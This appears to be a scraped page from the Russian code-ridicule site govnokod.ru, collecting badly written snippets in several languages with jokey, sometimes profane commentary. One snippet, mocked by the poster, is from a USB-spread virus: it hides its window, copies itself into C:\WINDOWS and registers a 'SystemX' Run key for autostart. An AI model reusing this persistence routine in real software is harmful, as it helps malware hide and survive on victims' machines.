- 1
- 2
- 3
- 4
- 5
- 6
bool or(bool x1, bool x2) {
if (x1 || x2)
return true;
else
return false;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+183
bool or(bool x1, bool x2) {
if (x1 || x2)
return true;
else
return false;
}
Я РЕАЛЬНО видел такой код, написанный на полном серьёзе.
+158
<?php
class WikiParser{
private $p;
function __construct($p){
$this->p=$p;
}
function parse(){
$this->p = preg_replace('/\[\[([^\/"?[=|]+?)\]\]/siu', '<a href="link.php?sea=$1">$1</a>', $this->p);
$this->p = preg_replace('/\[\[([^\/"?[=|]+?)\|(.+?)\]\]/siu', '<a href="link.php?sea=$1">$2</a>', $this->p);
$this->p = preg_replace('/\[\[([a-z]+?:\/\/[^"|]*?)\|([^"?[=|]+?)\]\]/siu', '<a href="$1">$2</a>', $this->p);
$this->p = preg_replace('/\[\[([a-z]+?:\/\/[^"|]*?)\]\]/siu', '<a href="$1">$1</a>', $this->p);
$this->p = preg_replace('/<<([^\/"?[=|]+?)>>/siu', '<a href="link.php?sea=$1">$1</a>', $this->p);
$this->p = preg_replace('/<<([^\/"?[=|]+?)\|(.+?)>>/siu', '<a href="link.php?sea=$1">$2</a>', $this->p);
$this->p = preg_replace('/<<([a-z]+?:\/\/[^"|]*?)\|([^"?[=|]+?)>>/siu', '<a href="$1">$2</a>', $this->p);
$this->p = preg_replace('/<<([a-z]+?:\/\/[^"|]*?)>>/siu', '<a href="$1">$1</a>', $this->p);
$this->p = preg_replace('/\*\*\*?([^"?=#%]+?)\*\*\*?/siu', '<b>$1</b>', $this->p);
$this->p = preg_replace('/\-\-\-?([^"?=#%]+?)\-\-\-?/siu', '<s>$1</s>', $this->p);
$this->p = preg_replace('/\/\/\/?([^"?=#%]+?)\/\/\/?/siu', '<i>$1</i>', $this->p);
$this->p = preg_replace('/\r?\n\r?\n/', '</p><p>', $this->p);
$this->p = preg_replace('/\n/', '<br/>', $this->p);
$this->p = preg_replace('/\{\{locked\}\}/', '<table style="clear: both; width: 90%; border-color:#333333; border-style: solid; border-width: 1px 1px 1px 2px; padding: 2px; margin: 1px auto 1px auto; vertical-align: center; background-color: #fefefe; text-align: left;"><tr><td style="vertical-align: middle">Статья огорожена от <a href="link.php?sea=вапераст">ваперастов</a></td></tr></table>', $this->p);
$this->p = preg_replace('/\{\{locked\|(.*?)\}\}/', '<table style="clear: both; width: 90%; border-color:#333333; border-style: solid; border-width: 1px 1px 1px 2px; padding: 2px; margin: 1px auto 1px auto; vertical-align: center; background-color: #fefefe; text-align: left;"><tr><td style="vertical-align: middle">Статья огорожена от $1</td></tr></table>', $this->p);
$this->p = preg_replace('/\{\{недопись\}\}/siu', '<table style="clear: both; width: 90%; border-color:#333333; border-style: solid; border-width: 1px 1px 1px 2px; padding: 2px; margin: 1px auto 1px auto; vertical-align: center; background-color: #fefefe; text-align: left;"><tr><td style="vertical-align: middle"><b>Недопись</b><br>Ваша статья - Гавно. Короткая, тупая и малоинформативная</td></tr></table>', $this->p);
$this->p = preg_replace('/\{\{недопись\|([^|]*?)\}\}/siu', '<table style="clear: both; width: 90%; border-color:#333333; border-style: solid; border-width: 1px 1px 1px 2px; padding: 2px; margin: 1px auto 1px auto; vertical-align: center; background-color: #fefefe; text-align: left;"><tr><td style="vertical-align: middle">Недопись<br>Ваша статья - $1</td></tr></table>', $this->p);
$this->p = preg_replace('/\{\{moved\|(.*?)\}\}/', '<table style="clear: both; width: 90%; border-color:#333333; border-style: solid; border-width: 1px 1px 1px 2px; padding: 2px; margin: 1px auto 1px auto; vertical-align: center; background-color: #fefefe; text-align: left;"><tr><td style="vertical-align: middle"><b>Статья перемещена</b><br>-->$1</td></tr></table>', $this->p);
$this->p = preg_replace('/[[<]#[]>]/', '', $this->p);
if(!preg_match('#^<p>.*</p>$#siu', $this->p)) $this->p='<p>'.$this->p.'</p>';
$this->p = preg_replace('/<p><\/p>/siu', '', $this->p);
}
function get(){return $this->p;}
}
?>
Без комментариев
+177
namespace markup
{
// case sensitive string equality test
// s_lowcase shall be lowercase string
inline bool equal(const char* s, const char* s1, size_t length)
{
switch(length)
{
case 8: if(s1[7] != s[7]) return false;
case 7: if(s1[6] != s[6]) return false;
case 6: if(s1[5] != s[5]) return false;
case 5: if(s1[4] != s[4]) return false;
case 4: if(s1[3] != s[3]) return false;
case 3: if(s1[2] != s[2]) return false;
case 2: if(s1[1] != s[1]) return false;
case 1: if(s1[0] != s[0]) return false;
case 0: return true;
default: return strncmp(s,s1,length) == 0;
}
}
...
+85
А я люблю вставлять в свои проекты несвежий говнокод и потом с ним ебатся.
Каждый день я лажу по Сети и сохраняю на черную флешку все говнокоды которые вижу.
Потом распечатываю. На два полных листка целый день уходит.
Зато, когда после тяжёлого дня я прихожу домой, иду на говнокод,
жму Наговнокодить!...ммм и постю туда свое сокровище. И говнокодю, представляя,
что меня поглотил единый организм говнокод.
Мне вообще кажется, что авторы говнокодов, не умеют думать.
Не рефакторите их, не удаляйте, лучше приютите их на Говнокоде, говорите о них,
обсуждайте их.... А вчера приснился чудный сон, как будто я зашел в проект,и он
прератился в говнокод, классы, переменные, методы, все - говнокод, даже С++, даже Страйкер!
#define pi 3.14159265;
author= (c) pi+vo[1];
как-то седня скучно на говнокоде - его полностью окупировало похапе
вношу свежую струю
+115
Function isEQ(x,y : Real) : Boolean;
Begin
if(x = y) Then isEQ := True Else isEQ := False;
End;
Begin
{...}
End.
Не выспался...
+161
I'm trying to set the selected value of a pulldown on a form.
I think there is a problem with this syntax
Code:
for(s = 0; s < document.getElementById('dozen[' + i + ']').length; index++) {
if(document.getElementById('dozen[' + i + ']')[s].value == selectedDozen){
document.getElementById('dozen[' + i + ']').selectedIndex = s;
}
}
Any help?
набрел вот на такую херь на вебдевелопер.ком
−142
for i in range(4, len(l)):
if l[i] - l[i - 1] == 1 and l[i - 1] - l[i - 2] == 1 and l[i - 2] - l[i - 3] == 1 and l[i - 3] - l[i - 4] == 1:
return True
Нужно было найти в списке 5 элементов, которые могут начинаться на любой позиции, но должны идти по порядку (например [9, 10, 11, 12, 13]). Не придумал ничего лучше :(
+163
<input type="submit" value="<?=lang('Send','Отправить')?>" />
Говнокод или нет?
+168
void __fastcall TForm1::FormCreate(TObject *Sender)
{
Application->ShowMainForm=false; //прячимся
// Осваеваемся в новой системе
if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
//скопируемся
CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
//и пропишимся в автозагрузку:
TRegistry *reg=new TRegistry;
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
reg->CloseKey();
reg->Free();
}
ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html
+165
$image = $_FILES['image']['tmp_name'];
if( !empty($image) )
{
@$src = imagecreatefromjpeg($image);
if($src==false){exit ('Это не картинка'); }
Этот кусочек кода был спором 7 человек;)
Это говнокод?